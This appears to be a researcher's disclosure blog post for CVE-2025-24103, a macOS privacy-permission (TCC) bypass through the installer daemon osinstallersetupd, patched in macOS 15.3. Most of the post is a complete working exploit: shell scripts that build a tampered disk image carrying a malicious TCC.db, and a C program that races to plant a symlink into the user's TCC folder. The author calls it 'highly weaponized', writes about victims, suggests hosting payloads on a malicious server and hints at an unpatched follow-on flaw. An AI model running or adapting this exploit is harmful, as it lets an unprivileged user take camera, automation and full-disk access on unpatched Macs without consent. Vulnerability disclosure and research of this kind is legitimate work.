CVE-2025-24103 : General TCC Bypass
- 0. CVE-2025-24103 : GuluBadInstallAssistant
- 1. Detail
- 2. Exploit
- 3. 14 G ? No, it’s 24M or less
- 4. Demo
- 5. Patch : macOS 15.3
- 6. One more thing
0. CVE-2025-24103 : GuluBadInstallAssistant
https://support.apple.com/en-us/122068
Tested on :
% sw_vers;csrutil status
ProductName: macOS
ProductVersion: 15.0
BuildVersion: 24A335
System Integrity Protection status: enabled.
1. Detail
Based on macOS 15.0 InstallAssistant.pkg : https://swcdn.apple.com/content/downloads/11/43/062-78429-A_DAI7Y9IP98/qxbabjzemiel7guag7q09xxe0631iie45p/InstallAssistant.pkg
1.If we install the pkg, it will release the /Applications/Install macOS Sequoia.app
.
It contains a big file : /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
And osinstallersetupd
owns FDA:
"/Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd": {
....
"com.apple.private.tcc.allow": [
"kTCCServiceSystemPolicyNetworkVolumes",
"kTCCServiceSystemPolicyRemovableVolumes",
"kTCCServiceSystemPolicyAllFiles"
],
...
}
If we execute "/Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd"
, the command will try to mount SharedSupport.dmg
at /Volume/Shared Support
, but at this moment, the released /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
is owned by root while other files is owned by normal user
, the mount operation will be failed because we don’t have the permission:
/tmp % ls -l /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
-rwx------ 1 root wheel 14477883930 Sep 29 16:41 /Applications/Install macOS Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
2.And currently the InstallAssistant
app is protected by trustcache, for example, If you execute the /Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd
on macOS15.0, you need to use the specific InstallAssistant.pkg version 15.0
. If not, when you execute osinstallersetupd
, AMFI
will block its launch becuase it’s not in the trustcache.
These seems like a security protection. As I know, there are too many N-Day vulnerabilities on InstallAssistant
.
1.1 What if we could execute the osinstallersetupd
command successfully?
How about the SharedSupport.dmg
is ownd by the normal user
rather than the root
user?
If we could do that, osinstallersetupd
will mount the SharedSupport.dmg
at /Volume/Shared Support
and do some initialzation.
/Volume/Shared Support
contains two folders:
com_apple_MobileAsset_MacSoftwareUpdate
com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain
com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain
folder:
Based on macOS 15.0 InstallAssistant.pkg
45a6023255867c23693640cb27c53c3a39b6764d.zip
a8fec938ff025a10955303bde48c8787a3d1a243.json
com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain.xml
osinstallersetupd
will extract the content of 45a6023255867c23693640cb27c53c3a39b6764d.zip
to /tmp/UpdateBrain-*
, like /tmp/UpdateBrain-Xopkwyp5
.
% ls /tmp/UpdateBrain-Xopkwyp5
AssetData Info.plist META-INF _CodeSignature version.plist
com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain.xml
and a8fec938ff025a10955303bde48c8787a3d1a243.json
contains some information about how to verify 45a6023255867c23693640cb27c53c3a39b6764d.zip
:
The vulnerability:
- The released folder
/tmp/UpdateBrain-*
is not protected by TCC or SIP-
Replace it with a symbolic link, so when
osinstallersetupd
unzips45a6023255867c23693640cb27c53c3a39b6764d.zip
, its content will be released to a specific folder. -
osinstallersetupd
has FDA so the destination could be~/Library/Application Support/com.apple.TCC/
-
-
We could bypass the integrity verification of
45a6023255867c23693640cb27c53c3a39b6764d.zip
-
This allows us to control the content that will be released.
-
E.G: We could add a malicious
TCC.db
to this zip file.
-
Now we can controlled the src
and dst
parameters, so we could gain arbitrary write access in the FDA context.
1.2 src
Just monitor the folder creation.
1.3 dst
- unzip the
45a6023255867c23693640cb27c53c3a39b6764d.zip
, add a maliciousTCC.db
there. Then compress it and rename it to45a6023255867c23693640cb27c53c3a39b6764d.zip
. - Create a malicious
SharedSupport.dmg
and place it underContents/SharedSupport/SharedSupport.dmg
. - There does exist integrity verification strategy when
osinstallersetupd
is handlingSharedSupport.dmg
but it works in a very strange way. - After the
SharedSupport.dmg
created, if we executeosinstallersetupd
, you will find it does mount the dmg at/Volume/Shared Support
, but it will not create/tmp/UpdateBrain-*
, looks like the integrity verification failed.
Actually I spent some time on reverse engineering to figure out how Apple implemented the integrity verification.
But I accidentally found we only need to execute osinstallersetupd
twice, you will find the /tmp/UpdateBrain-
created ! The verification is bypassed.
2. Exploit
Step 1: Prepare the malicious file on your own macOS
You could do anything because this is your macOS, so you could gain root access or disable SIP as you want.
- If the victim macOS is 15.0, download the 15.0 InstallAssistant.pkg
- If the victim macOS is 14.5, download the 14.5 InstallAssistant.pkg
- …etc
Install it, you will see /Applications/Install macOS Sequoia.app
, then execute the PoC sudo ./generate-your-malicious-app/exp.sh
with root access. You will get a modified SharedSupport.dmg
and malicious-osinstallersetupd.zip
.
generate-your-malicious-app:
- exp.sh
- generateTCCdb.sh
./generate-your-malicious-app/exp.sh:
#!/bin/sh
# Check if the script is run as root
if [ "$EUID" -ne 0 ]; then
echo "Please run as root: cd ./generate-your-malicious-app; sudo ./exp.sh"
exit 1
fi
echo "Running as root."
echo "Make sure you have installed the specific InstallAssistant.pkg. macOS15.0 -> InstallAssistant_15.0.pkg"
echo "Demo, download here: https://swcdn.apple.com/content/downloads/11/43/062-78429-A_DAI7Y9IP98/qxbabjzemiel7guag7q09xxe0631iie45p/InstallAssistant.pkg"
echo "========================================================================"
echo "Place your malicious TCC.db in this folder, I will use it to replace the original TCC.db"
echo "========================================================================"
echo "Are you ready? Sleep 5 seconds."
sleep 5
echo "Go"
workpath=$(pwd)
echo "Clean"
rm -rf target
rm -rf /Applications/testfolder
rm -rf malicious-osinstallersetupd.zip
mkdir -p /Applications/testfolder/target
cp -R /Applications/Install\ macOS\ Sequoia.app/Contents/Frameworks /Applications/testfolder/target/
cp -R /Applications/Install\ macOS\ Sequoia.app/Contents/PlugIns /Applications/testfolder/target/
mkdir /Applications/testfolder/mountme
mkdir /Applications/testfolder/target/SharedSupport
hdiutil attach -nobrowse -mountpoint /Applications/testfolder/mountme /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
mkdir /Applications/testfolder/allfiles
cd /Applications/testfolder/mountme/
find . -type f ! -name '7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip' -print0 | cpio -pdmv0 /Applications/testfolder/allfiles/ >/dev/null 2>&1
cd /
hdiutil detach /Applications/testfolder/mountme
rm -rf /Applications/testfolder/mountme
mkdir /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip
unzip /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip -d /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip >/dev/null 2>&1
cd $workpath
echo "Add malicious content to the zip."
cp TCC.db /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip/TCC.db
cd /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip
zip -r /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip.zip ./* >/dev/null 2>&1
rm -rf /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip
rm -rf /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip
cd /
mv /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip.zip /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip
cp /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip /Applications/testfolder/allfiles/com_apple_MobileAsset_MacSoftwareUpdate/7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip
hdiutil create -volname "Shared Support" -srcfolder "/Applications/testfolder/allfiles" -ov -format UDZO "/Applications/testfolder/target/SharedSupport/SharedSupport.dmg"
echo "Done. Malicious SharedSupport.dmg created."
echo "Now, Compress the target folder and name it as malicious-osinstallersetupd.zip"
cd /Applications/testfolder/
zip -ry "$workpath/malicious-osinstallersetupd.zip" ./target >/dev/null 2>&1
rm -rf /Applications/testfolder
echo "========================================================================"
echo "Init done. You have created your own malicious app with your own payload!"
echo "========================================================================"
echo "Place it under pre-compiled-malicious-app and execute pre-compiled-malicious-app/exp.sh in non-root context to gain general TCC bypass."
echo "========================================================================"
echo "NOTICE: The exploit doesn't need the root access. This vulnerability can help normal user achieve general TCC on macOS. I think it has been existed for years."
Step 2: Download the malicious file malicious-osinstallersetupd.zip
to the victim macOS
Move the compressed malicious-osinstallersetupd.zip
to the pre-compiled-malicious-app
folder, then execute pre-compiled-malicious-app/exp.sh
in normal user access, you will find the TCC.db has been modified.
pre-compiled-malicious-app:
- do-not-run-me.sh
- exp.sh
- malicious-osinstallersetupd.zip
- watch
- watch.c
pre-compiled-malicious-app/do-not-run-me.sh:
#!/bin/sh
/Applications/testfolder/target/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd
pre-compiled-malicious-app/exp.sh:
#!/bin/sh
# clang -arch arm64 -arch x86_64 -o watch watch.c
echo "This exp is based on macOS15.0.pkg"
rm -rf /Applications/testfolder ./__MACOSX
mkdir /Applications/testfolder
rm -rf ./target
unzip -d . malicious-osinstallersetupd.zip > /dev/null 2>&1
rm -rf ./__MACOSX
mv target /Applications/testfolder/target
echo "LPE"
rm -rf /tmp/do-not-run-me.sh /tmp/watch
cp ./do-not-run-me.sh /tmp/
cp ./watch /tmp/
nohup /tmp/do-not-run-me.sh &
sleep 5
killall osinstallersetupd
nohup /tmp/watch &
sleep 2
nohup /tmp/do-not-run-me.sh &
sleep 10
killall osinstallersetupd
echo "Terminal has Camera and AppleEvent TCC now."
pre-compiled-malicious-app/watch.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
int main() {
printf("==1");
system("rm -rf /tmp/UpdateBrain*; rm -rf /tmp/diu;");
const char *directory = "/tmp";
const char *prefix = "UpdateBrain";
const char *newFileName = "/tmp/diu";
char symlinkTarget[1024];
const char *homeDir = getenv("HOME");
if (homeDir != NULL) {
snprintf(symlinkTarget, sizeof(symlinkTarget), "%s/Library/Application Support/com.apple.TCC", homeDir);
} else {
printf("Error. No HOME");
return 0;
}
while(1){
DIR *dir;
if ((dir = opendir(directory)) == NULL) {
perror("opendir() error");
return 1;
}
char oldFilePath[1024];
struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
if (strncmp(entry->d_name, prefix, strlen(prefix)) == 0) {
snprintf(oldFilePath, sizeof(oldFilePath), "%s/%s", directory, entry->d_name);
printf("%s", oldFilePath);
if (rename(oldFilePath, newFileName) == 0) {
if (symlink(symlinkTarget, oldFilePath) == 0) {
printf("Symlink created successfully: %s -> %s\n", oldFilePath, symlinkTarget);
} else {
perror("symlink() error");
}
return 0;
} else {
perror("rename() error");
}
}
}
closedir(dir);
}
return 0;
}
The final exploit doesn’t need any permisisons, normal user -> general TCC bypass. Don’t need the root access.
Till now, the exploit is almost complete, but we have to do more if we wanna make this exploit more valuable.
Currently, the original app exceeds 14GB in size. If we are required to download the entire package each time we attempt to exploit it, the overall practicality of the exploit would be significantly reduced. This issue needs to be addressed.
3. 14 G ? No, it’s 24M or less
We don’t need to create a fake Install macOS Sequoia.app
because the vulnerability component is not InstallAssistant
, it is osinstallersetupd
.
So we only need to copy the necessary folders:
-
Frameworks
-
PlugIns
And the biggest item in SharedSupport.dmg
is 7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip
, more than 14G, we just need to use a malicious zip file to replace it:
mkdir /Applications/testfolder/target/SharedSupport
hdiutil attach -nobrowse -mountpoint /Applications/testfolder/mountme /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
mkdir /Applications/testfolder/allfiles
cd /Applications/testfolder/mountme/
find . -type f ! -name '7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip' -print0 | cpio -pdmv0 /Applications/testfolder/allfiles/ >/dev/null 2>&1
cd /
cp /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip /Applications/testfolder/allfiles/com_apple_MobileAsset_MacSoftwareUpdate/7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip
As you can see, the pre-compiled malicious app only 24M.
Highly weaponized.
This pre-compile operation only need to be done once, you could generate the malicious app one by one and save them to your malicious server. If you want to achieve general TCC bypass on the victim macOS, just download the specific malicious app.
4. Demo
5. Patch : macOS 15.3
FDA
TCC of osinstallersetupd
has been removed.
And osinstallersetupd
will parse the symbolic link.
"/Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd": {
"allow-softwareupdated": true,
"com.apple.InstallerDiagnostics.PermittedClient": true,
"com.apple.apfs.wvek": true,
"com.apple.keystore.filevault": true,
"com.apple.private.AuthorizationServices": [
"system.install.apple-software",
"system.install.apple-software.standard-user",
"system.install.software.mdm-provided"
],
"com.apple.private.IASInstallerAuthAgent": true,
"com.apple.private.LocalAuthentication.ExtractCredential": true,
"com.apple.private.accounts.allaccounts": true,
"com.apple.private.allow-bless": true,
"com.apple.private.allow-sumaccontroller": true,
"com.apple.private.applecredentialmanager.allow": true,
"com.apple.private.configurationprofiles.bootstraptoken.readwrite": true,
"com.apple.private.diskmanagement.preboot-access": true,
"com.apple.private.gpuwrangler": true,
"com.apple.private.installer.setupinstaller": true,
"com.apple.private.logout.forcecontinue": true,
"com.apple.private.opendirectoryd.ownership.grant": true,
"com.apple.private.opendirectoryd.ownership.read": true,
"com.apple.private.security.bootpolicy": true,
"com.apple.private.softwareupdated.OSUpdate": true,
"com.apple.private.tcc.allow": [
"kTCCServiceSystemPolicyNetworkVolumes",
"kTCCServiceSystemPolicyRemovableVolumes"
],
"com.apple.private.xpc.launchd.per-user-lookup": true,
"com.apple.rootless.storage.osinstallersetup": true,
"com.apple.rootless.volume.Update": true
}
6. One more thing
How do you think about the patch?
I hide something about the patch in this blog, it could cause a potential 0day exploit.
Good Luck.